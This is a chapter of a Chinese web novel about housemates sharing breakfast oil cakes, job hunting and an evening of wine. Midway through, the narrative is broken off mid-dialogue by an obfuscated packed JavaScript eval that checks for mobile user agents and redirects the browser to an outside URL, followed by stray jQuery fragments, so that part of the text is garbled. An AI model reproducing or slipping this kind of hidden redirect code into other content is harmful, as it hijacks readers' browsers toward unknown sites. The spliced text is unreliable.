春天的清晨越来越亮,犹如脱了锐气的少年,面庞逐渐和煦温柔。一只喜鹊站在院中那棵玉兰树上,叽叽喳喳叫了半天,也没把梦中人叫醒,一睹这枝头的春色盎然。
这边鸟儿扯着嗓子吆喝着,厨房里也响起滋啦滋啦的热油翻滚的声音。空气中飘着一股浓浓的葱花味儿,然后是面粉的焦香味儿。喜鹊起身飞了出去,好像是在找那张两面金黄,闪着油光的圆饼。
端方从厨房跑出来,先是进到自己的院中,大声喊道:“沈兄,吃饭了!”沈枫骞正弯腰拨弄花草,这一喊叫惊得肩膀不由抖了一下,“嗯,知道了。”
端方又急忙忙跑到对院儿,刚要张口:“湘君姑娘、芫华......”一张俏脸就堵在了他的眼前,“不用喊了,刚刚那声,一里外的人也能听见。”芫华瞪着眼睛气呼呼看着端方。
“芫华姑娘是昨晚没睡好?”端方也怕惹毛了芫华,毕竟她这个脾气看起来容易着。
“换地方睡不着。”
“第一次离家都难免,不过我这个早饭得趁热吃,要不你叫上湘君姑娘一起?胃口适应的好,睡觉自然就香了。”
端方这番谬论听着还有些道理,芫华嗯的一声便回屋里了。
正厅并未上锁,端方敞开了房门,跑回厨房,找了块白纱布盖在饼上。这刚出锅的热油饼,见凉可就损失了一半的口感。
等他摆好放在桌上,众人也陆续到了。端方扯开白布,一叠叠冒着香气的油饼,亮澄澄展露在众人眼前。
“诸位,此乃端方油饼的首次出炉,还请大家品鉴。”
湘君左右端望,又轻嗅了一下,说道:“这饼的卖相还不错,气味闻起来也和九歌楼的相差无几,端方公子这手艺从何而来?”
“我母亲做的很好,看的时候比较多,做的话还是第一次。”
众人各拿起一块,端方仔细盯着每个人的表情。大家都不说话,只是一口两口的吃着。端方是个急性子,抻着脑袋,两只眼睛骨碌骨碌转着:“怎么样?给个评价。”
端方看向沈枫骞,沈枫骞答道:“有点淡。”
“有点咸。”湘君道。
“又咸又淡。”芫华一个冷光射向端方,让他下意识的抱了抱胳膊。
三个人的口味差这么大吗?端方站起来,也没什么顾忌,从每个人的饼那揪了一块。这么一尝就全明白了,盐没放匀。
“这次确实没做好,大家也别吃了,我请大家去益民街吃。”端方端着盘子就要出去。
“可以吃的,除了咸淡,这饼外焦里嫩,芳香四溢,还是很好吃的。”沈枫骞晃了晃饼,又接着吃了起来。
湘君拿着饼,起身说道:“我也觉得很好,有事先走一步了。”
芫华哼了一声,拎着两块饼也离开了。
端方擦擦鼻子,咧嘴轻笑,气势昂扬的边向外走边哼着小曲,“少年郎呐,侬可知前路漫漫,仍需百尺竿头更进一步......”
喜鹊早已移情别恋,跑到旁人屋顶高歌艳曲,远远还能听见回音。小院里的男男女女都已出门,留下空荡荡的院子,还飘着油饼的香气,以及枝头那朵早已臣服春日的玉兰花,开的落落大方。
周衍是吃过午饭后来的。他在各个院子里转了一圈,一个人都没有,而今他倒像是访客。午后的阳光有些烈,烘的人有了困意。
穿过正厅,经过一道屏风,便到了周衍的住处。周衍进屋拖出一把躺椅,左腋下夹着本书,将躺椅摆在窗户下,又去屋里打开窗户,点起香炉,才拿起书躺在椅子上。
两边的对流,让风如卷起的细小浪花,在周衍的头顶一层层拂过。从窗户中飘出的香烟,被对面的风拍断,在周衍面前变成一团团云,随之四散在空中,徒留余香。
春风徐徐,不如枕一丝大梦一场。
直到傍晚风起,周衍才被冻醒。睡得时间太长,他有一瞬间恍惚,分不清早晚。他缓缓起身,伸了个长长的懒腰,拾起地上的外衣披上,晃晃悠悠地走向正厅。
“仲复兄,你何时在屋里了?”周衍定睛一看,是沈枫骞。他应是刚从外面回来,一手拎着一捆书,一手拎着一坛子酒 。
“午饭后来的,到这讨个清静梦。只是一时贪欢,睡到太阳落山才醒。”周衍看到沈枫骞手里的东西,问道:“沈兄,这是?”
沈枫骞将东西放下,说道:“我今日找了丘互郎,帮我询了几家书院。这书是书院发的教材,酒是丘互郎送给我们。”周衍看那酒坛上端正的写着“莺迁仁里,燕贺德邻”。
“孟娘子酒坊的浮玉春,这丘大嘴还挺大方。”周衍轻弹了几下酒坛,笑着说道。
周衍撇了眼那摞书,最上面是《千字文》,往下扒拉几本依次是《三字经》、《百家姓》、《开蒙要训》,这不都是些儿童启蒙书籍?
“沈兄是要去教授童子?以沈兄之才智,去书院教授一些童生、举人都是有余力的。可是丘大嘴没带你去对地方?
”
沈枫骞摇摇头,正襟而反问:“仲复兄当真认为教冠者比教童子更有价值吗?”
周衍先是被怔住,后是抱拳行礼,“有教无类,是我狭隘了。”
“东主,沈兄你们都在啊?”两人朝门口看去,见端方、芫华、湘君三人走进来。
“你们三个怎么一起回来了?”周衍和从正厅出来,走到院中。
“我和芫华姑娘都是要去看摊位,所以就一起走了。逛到下午路过九歌楼,进去喝了杯茶,顺便接湘君姑娘下工。”端方一脸得意,回头想和同伴打个呼应,而那两位像根石柱子,连个眼神都没给。
周衍暗想这端方可是又得罪这两位姑奶奶了,也罢,慢慢都会习惯的。“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234603|181817||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丘互郎托沈兄带来了一坛好酒,大家逛了一天也累了,不如坐下喝点解解乏。”
天色渐渐有些暗了,风也有些跑不动,拉着西边的云儿慢悠悠的闲逛。云儿越积越多,堆在月亮门前摩肩擦踵,谁也看不到今晚月亮做何打扮,只露个尖尖的脑袋,一闪闪的企盼着。
周衍点起了灯,沈枫骞已倒满了酒。“沈兄可找到了合适的书院任职?”端方咕嘟咕嘟喝下半碗,整张脸都润开了。
沈枫骞点点头,回道:“嗯,明日便可上工了。你们进展如何?”
“这酒不烈,入喉温和,饮下后还有一点薄荷的清香,不错。”芫华抿了一口,眼角稍有喜色,听到沈枫骞的询问,瞬时脸红了一圈,不知是酒意还是怒意,气冲冲地说:“端方拉着我跑了大半个都城,看了上百个摊位,嫌弃位置不好,通风不行,什么租金贵,风水差,真不是知道是他算卦,还是我算卦。”
端方体力极好,这一天的奔波他就只当闲逛了,可人家一个姑娘,娇娇弱弱,哪能这么折腾。端方应是已被骂了多时,一直摸着后颈悻悻地笑着,“抱歉抱歉,”说着拿起酒坛倒满一碗,“向芫华姑娘赔罪!”仰起头一饮而尽。
芫华白了眼端方,撇过头说道:“哼,哪里赔罪,分明是找借口喝酒。”
众人也跟着哈哈的笑了起来。周衍又问道:“你们去了九歌楼,想必是看到了湘君姑娘的演出了吧?”
端方和芫华立马低下头,端着碗一口一口抿着酒,倒像是在品茶。前面还打的不开胶,这回动作却默契的很。
周衍看他俩不说话,又补充了一句,“湘君姑娘的演出必是艳惊四座吧,也给我和沈兄说说。”
芫华踢了端方两脚,示意让他回答。端方抬起头,支支吾吾地说道:“嗯...那个...我们去的不是时候,只看了一点点...的确是不同凡响。”
周衍和沈枫骞对视了一眼,端方这耿直的性子都说的吞吞吐吐,含蓄隐晦,难道演出的是什么淫词艳舞,不堪入目?
二人疑惑地看向湘君,观之如兰如月,不像是有如此行径。湘君咬着嘴唇,拇指按在碗边抠唆着,然后抬头对上二人的目光道:“除了湘君,我在九歌楼还有个绰号,白行客。”
说完湘君便起身回屋了,芫华和端方也要走,周衍一把拉住了端方,疑惑道:“白行客又是何意?”
端方扭过身,低声在二人耳边说:“酒楼一般都是晚上人声鼎沸,你们觉得为何湘君姑娘很少在晚上上工?”说完一溜烟就跑了。
“沈兄,你明白了吗?”
“如同聋子听戏。”
两人互相看了一眼,苦笑着端酒喝起来。
酒香顺着窗户,门缝,衣袂,散落在院中,熏醉了枝头的花蕊,迷晕了云里的月亮,院里的花草泥虫静了,屋里的人也倒在了春夜的醉梦中。